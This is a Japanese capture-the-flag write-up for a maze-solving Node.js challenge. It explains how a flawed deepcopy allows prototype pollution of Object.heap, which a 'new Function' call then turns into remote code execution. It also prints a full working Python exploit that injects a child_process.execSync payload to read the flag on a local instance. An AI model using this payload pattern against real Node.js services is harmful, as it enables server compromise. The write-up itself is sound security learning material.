TL;DR

  • new Array()に対するオブジェクトのコピー時にPrototype Pollutionが出来る
  • const heap = this.heap || "<default>"のような場所があるのでobject.heapを汚染する
  • なんとheapをjavascript片として関数を作るという処理があるのでそこで任意コード実行をする

Prerequisite

  • Prototype Pollution

Writeup

ソースコードは複数に分かれているので割愛。JSON形式で迷路を飛ばすとそれを解いてくれるという問題。

迷路を解くアルゴリズムの中で以前の状態から複数の状態に遷移する際に参照渡しだと困ることから、次のようなdeepcopy関数が存在する。

function is_array(obj) {
    return obj !== null && typeof obj === 'object';
}

function __deepcopy_internal(result, array) {
    for (let index in array) {
        if (is_array(result[index]) && is_array(array[index])) {
            __deepcopy_internal(result[index], array[index]);
        } else {
            result[index] = array[index];
        }
    }
    return result;
}

/**
 * deepcopy: Clone an Array object
 */
function deepcopy(obj) {
    return __deepcopy_internal(new Array(), obj);
}

__deepcopy()がPrototype Pollutionができそうな実装になっている。deepcopy()を見ると第一引数がnew Array()となっているので、obj側の__proto__に値を設定したらなんかいい感じのことが出来る予感がする。

実際に(開発者ツールのような)適当なjavascriptの実行環境でArray()のprototypeを辿ってみると次のようになっている。

>> let a = new Array();
<< undefined
>> a.__proto__
<< Array []
>> a.__proto__.__proto__
<< Object { … }

2回上へと辿ることでObjectを得ることが出来る。ということでa["__proto__"]["__proto__"]["<attr>"]に値vを入れてaをdeepcopyにぶち込むと、Object.attrにvが代入される。このdeepcopyは迷路のクラスを定義しているmaze.jsで用いられている。


/**
 * Maze: State of maze used by MazeSolver
 *
 * args:
 *   F   : Maze (1:wall / 0:nothing)
 *   S   : Current position represented by [x, y]
 *   G   : Goal position represented by [x, y]
 *   move: Steps made so far
 */
class Maze {
    constructor(F, S, G, move='') {
        this.F = F;
        this.width = F[0].length;
        this.height = F.length;
        this.S = S;
        this.G = G;
        this.move = move;
    }
    /* f: Cost for A* search */
    get f() { return this.g + this.h; }
    /* g: Steps required so far */
    get g() { return this.move.length; }
    /* h: Heuristic function */
    get h() { return Math.abs(this.S[0] - this.G[0])
              + Math.abs(this.S[1] - this.G[1]); }
    /* hash: Unique value of this state */
    get hash() { return (this.S[0] << 8) | this.S[1]; }
    /* next: Generate possible next states */
    next() {
        var candidates = [];
        if (this.S[0] > 0 && this.F[this.S[1]][this.S[0]-1] == 0) {
            // Move left
            var P = deepcopy(this.S);
            P[0] -= 1;
            candidates.push(new Maze(this.F, P, this.G, this.move+'A'));
        }
        if (this.S[0] < this.width - 1 && this.F[this.S[1]][this.S[0]+1] == 0) {
            // Move right
            var P = deepcopy(this.S);
            P[0] += 1;
            candidates.push(new Maze(this.F, P, this.G, this.move+'D'));
        }
        if (this.S[1] > 0 && this.F[this.S[1]-1][this.S[0]] == 0) {
            // Move up
            var P = deepcopy(this.S);
            P[1] -= 1;
            candidates.push(new Maze(this.F, P, this.G, this.move+'W'));
        }
        if (this.S[1] < this.height - 1 && this.F[this.S[1]+1][this.S[0]] == 0) {
            // Move bottom
            var P = deepcopy(this.S);
            P[1] += 1;
            candidates.push(new Maze(this.F, P, this.G, this.move+'S'));
        }
        return candidates;
    }
}

迷路を移動する際に始点が変わることから、その時にdeepcopyが用いられている。0と1のインデックスには数値が入っていないといけないが、それ以外のインデックス(キー)なら問題が無さそうなので、迷路の始点を指定する際に前述のようなPrototype Pollutionを引き起こすようなJSONを仕込む。

問題は、Prototype Pollutionが出来たところでどうやってフラグを得るかである。フラグを変数やcookieに入れたりしている様子は見られないのでロジックのバグを引き起こしてフラグを開示させるような攻撃では無い気がする。

そこでRCEを狙うが、実はこの問題の構成はapp.jsがsolve.jsをexecFileによって子プロセスとして実行しているため、solve.js側でPrototype Pollutionを起こしてもapp.js側に影響は無く、加えてここ以外にexecFileを使っている様子は見られないのでexecFileを使う方針は外す。

Prototype Pollution自体は簡単に見つかったが次が見つからず苦しんでいたが、maze.jsを眺めていると、次のような記述が見られる。

		const heap = this.heap || 'BinaryHeap';
		var q = new Function('c', 'return new this.'+heap+'({comparator:c});')
            .bind(pq)(comparator);

Functionはコンストラクターの先頭に引数の文字列を取り、末尾に関数の中身を記述するjavascriptの文字列をとって、その関数を構成する。ということはここで作られた関数はどこかで使われるはずで、もしheapの値を任意に設定出来れば好きな処理を実行出来る可能性がある。

正常系であれば、heapという変数に入った値を用いてデフォルトは"BinaryHeap"という文字列が入り、ここはリクエスト時に指定した値を入れることが出来るが次のような制限がある。

    // Validation
    if (req.body.heap
        && !['BinaryHeap', 'PairingHeap', 'SkewHeap'].includes(req.body.heap)) {
        req.body.heap = 'BinaryHeap'; // default
    }

逆に言えば、ここで値を設定しなければ、Prototype PollutionでObject.heapを設定した時にそれが用いられる。よって、Prototype Pollutionではheapメンバを汚染する。

これと上記のFunctionを利用していい感じの関数を構成する事を考える。return new this.と末尾の{comparator:c});が邪魔だが、いい感じに無視できるような構成にすると次のような関数を構成することになった。

return this.BinaryHeap({comparator:c}), function() {console.log(process.mainModule.require('child_process').execSync('<RCE>').toString())}();//({comparator:c});

実はその後の.bind(pq)(comparator)の意味はよくわかっておらず、そもそもこうやって作られたqがどこで発火するのかもわからない。が、このような関数となるようなPrototype Pollutionを引き起こすと何故か知らないが<RCE>で指定したコマンドの実行結果が表示される。

Code

import requests
import json

HOST = "localhost"
PORT = 14002

cmd = "cat flag.txt"

maze = {
    "map": [
        [1, 1, 1, 1],
        [1, 0, 0, 1],
        [1, 0, 0, 1],
        [1, 1, 1, 1]
    ],
    "start": {
        "0": 1,
        "1": 1,
        "__proto__": {
            "__proto__": {
                "heap": "BinaryHeap({comparator:c}), function() {console.log(process.mainModule.require('child_process').execSync('" + cmd + "').toString())}();//"
            }
        }
    },
    "goal": (2, 2),
    "heap": None
}

r = requests.post(f"http://{HOST}:{PORT}/solve",
                  headers = {"Content-Type": "application/json"},
                  data = json.dumps(maze))
print(r.text)

Flag

ローカルでやっただけ

Resources